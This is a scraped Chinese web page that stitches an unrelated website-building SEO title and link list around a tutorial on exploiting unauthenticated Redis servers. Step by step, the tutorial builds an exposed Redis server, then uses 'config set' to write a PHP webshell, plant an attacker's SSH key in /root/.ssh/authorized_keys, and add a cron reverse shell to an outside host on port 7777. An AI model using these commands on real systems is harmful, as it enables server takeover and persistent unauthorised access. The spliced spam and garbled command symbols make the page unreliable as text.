当前位置: 首页 > news >正文

河北省廊坊市建设网站岷县城乡建设局网站

河北省廊坊市建设网站,岷县城乡建设局网站,策划案怎么写,赚钱的十大个人网站Redis简介 Redis是C语言开发的一个开源高性能#xff08;key-value#xff09;键值对类型的内存NoSQL数据库#xff0c;可以用作数据库、缓存、信息中间件(性能非常优秀#xff0c;支持持久化到硬盘且高可用)。由于其自身特点#xff0c;可以广泛应用在数据集群#xff…Redis简介 Redis是C语言开发的一个开源高性能key-value键值对类型的内存NoSQL数据库可以用作数据库、缓存、信息中间件(性能非常优秀支持持久化到硬盘且高可用)。由于其自身特点可以广泛应用在数据集群分布式队列信息中间件等网络架构中在内网渗透的突破中常常扮演getshell的角色。 关于redis未授权访问漏洞 Redis安装后默认情况下会绑定在 0.0.0.0:6379如果没有进行采用相关的策略比如添加防火墙规则避免其他非信任来源 ip 访问等等会导致 Redis 服务暴露在公网上如果在没有设置密码认证默认为空的情况下会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。 攻击者在未授权访问 Redis 的情况下利用 Redis 自身的提供的 config 命令可以进行写文件操作攻击者还可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件的 authotrized_keys 文件中进而可以使用对应私钥直接使用ssh服务器登录目标服务器。 Redis在3.2.0之后增加了一个保护模式默认还是无密码但是限制了只有本地(回环接口)才能访问但是由于无密码校验还是经常被利用如ssrf权限提升等等。 漏洞的产生条件有以下两点: Redis绑定在0.0.0.0:6379且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略直接暴露在公网。 没有设置密码认证默认为空或者弱密码可以登录redis服务。 漏洞影响版本 Redis 2.x3.x4.x5.x Redis环境搭建 这里是在ubuntu上搭建的 下载Redis源码 wget http://download.redis.io/releases/redis-3.2.11.tar.gz解压压缩包 tar xzf redis-3.2.11.tar.gz进入安装目录编译执行 cd redis-3.2.11 make出现这个就代表编译成功了如果编译出现问题可以看看 gcc 环境是否安装。 拷贝 ​​redis-server​​ 和​​ redis-cli​​ 拷贝到​​/usr/bin​​目录 cd src cp redis-server /usr/bin/ cp redis-cli /usr/bin/将​​redis.conf​​拷贝到​​/etc/​​目录下 cp redis.conf /etc/编辑​​/etc/redis.conf​​文件 vim /etc/redis.conf在该行前面增加​​#​​注释ip绑定允许除本地外的主机远程登录redis服务 关闭保护模式将​​yes​​改为​​no​​允许远程连接redis服务 使用修改过后的配置文件启动​​Redis​​服务 redis-server /etc/redis.conf接着使用另一台机器无账号登录redis 写入webshell 利用条件 目标开启了web服务并且知道web路径。root权限执行的redis具有读写权限。 假设已知 web 路径代码如下 config set dir /var/www/html/ config set dbfilename shell.php set webshell ?php phpinfo();? save去靶机看一下可以看到已经写入了。 注意 在写入webshell的时候可以使用​​\r\n​​来换行因为保存下来的文件是数据库备份为快照文件所以存在一定格式(脏数据)可能导致无法解析。 set shell \r\n\r\n?php phpinfo();?\r\n\r\n写入SSH 免密登录 原理在数据库中插入一条数据将本机的公钥作为value或key值然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys把缓冲的数据保存在文件里这样就可以在服务器端的/root/.ssh下生一个授权的key。 这个场景主要应用在没有 web 应用的服务器redis一般都是与web分离的linux系统都存在/root目录所以这种方式会更加实用些。 在攻击机中生成ssh公钥和私钥密码设置为空 ssh-keygen -t rsa 默认在/root/.ssh/目录生成2个文件私钥id_rsa 公钥id_rsa.pub 进入​​/root/.ssh​​目录将生成的公钥另存为 ​​pub_key.txt​ (echo -e \n\n;cat id_rsa.pub;echo -e \n\n)pub_key.txt为了保证写入的authorized_key能被解析需要引入换行符ubuntu亲测不然会失败 将保存的pub_key.txt文件内容写入redis cat /root/.ssh/pub_key.txt | redis-cli -h 192.168.50.131 -x set pub4. 设置redis的备份路径为​​/root/.ssh/​​ 在设置 redis 的备份路径的时候出现上图错误原因是如果root用户没有使用过ssh服务是没有​​/root/.ssh/目录的需要生成公、私钥或者建立ssh连接时才会生成。 设置上传公钥的备份文件名为​​authorized_keys​ CONFIG SET dbfilename authorized_keys保存至此成功写入ssh公钥到靶机。测试ssh免密登录 成功登入。 写入计划任务反弹shell 这个比较蛮鸡肋因为在debian、ubuntu等环境中对计划任务的格式解析非常严格是没办法执行成功。但是在 centos 环境下默认 root 是可以通过这个方法拿到反弹shell的。 定时任务文件 linux通用/etc/crontab ubuntu/var/spool/cron/crontabs/当前用户 centos/var/spool/cron/当前用户 ubuntu无法利用的原因 /etc/crontab脏数据解析失败/var/spool/cron/crontabs/rootredis默认写入644非600提示失败 set 1 \n* * * * * bash -i /dev/tcp/x.x.x.x/7777 01\n config set dir /var/spool/cron/ config set dbfilename root save注写入 /etc/crontab 需要多加个 root 才能执行其它都一样 set 1 \n* * * * * root bash -i /dev/tcp/x.x.x.x/7777 01\nubuntu 实测发现可以写入但是执行不了。
http://www.dnsts.com.cn/news/52337.html

相关文章:

  • 招聘网站排名网页设计模板html代码文本大小
  • 哪些网站做机票酒店有优势dede响应式网站模板
  • 做h5游戏的网站登陆网站空间
  • 用jsp和mysql做网站网站开发培训哪家好
  • 海曙网站建设网站建设银行面试经验网站
  • 网站的框架网店装修素材
  • 企业网站的seo可以做视频剪辑兼职的网站
  • 珠海多语种网站制作深圳网站建设 龙华信科
  • 阿里云网站 模板建设网站做优化每天一定要更新
  • 推广网站有多少家分销商城app
  • 网站建设要会英语吗网站名称没有排名
  • 怎样设计网站主页招全国代理经销
  • 做微信电影网站南通网站建设系统电话
  • 软文网站大全深圳福田区到访场所
  • 公众号平台网站开发网站建设公司圣辉友联
  • 做网站如何收集资料在线制作印章图片
  • 在征婚网站上认识做期货深圳品牌创意网站建设
  • 福州官网网站建设西直门网站建设
  • 做景观园林的网站是装饰设计行业前景怎么样
  • wordpress搬站网站怎么做单页
  • 阜新网站建设单位贵阳的网站建设公司
  • 硬件开发是程序员吗东莞seo排名公司
  • 网站托管做的好的公司网站推广注意事项
  • 徐州网站建设市场分析在线制作网站表白
  • 网站建站及维护香蜜湖网站建设
  • 电子商务网站建设携程营销系统
  • 盘多多网盘搜索企业网站优化案例
  • 如何建立自己的网站wordpress健身房主题
  • 长葛网站建站郑州网站zhi zuo
  • 网站渗透案例朋友圈营销推广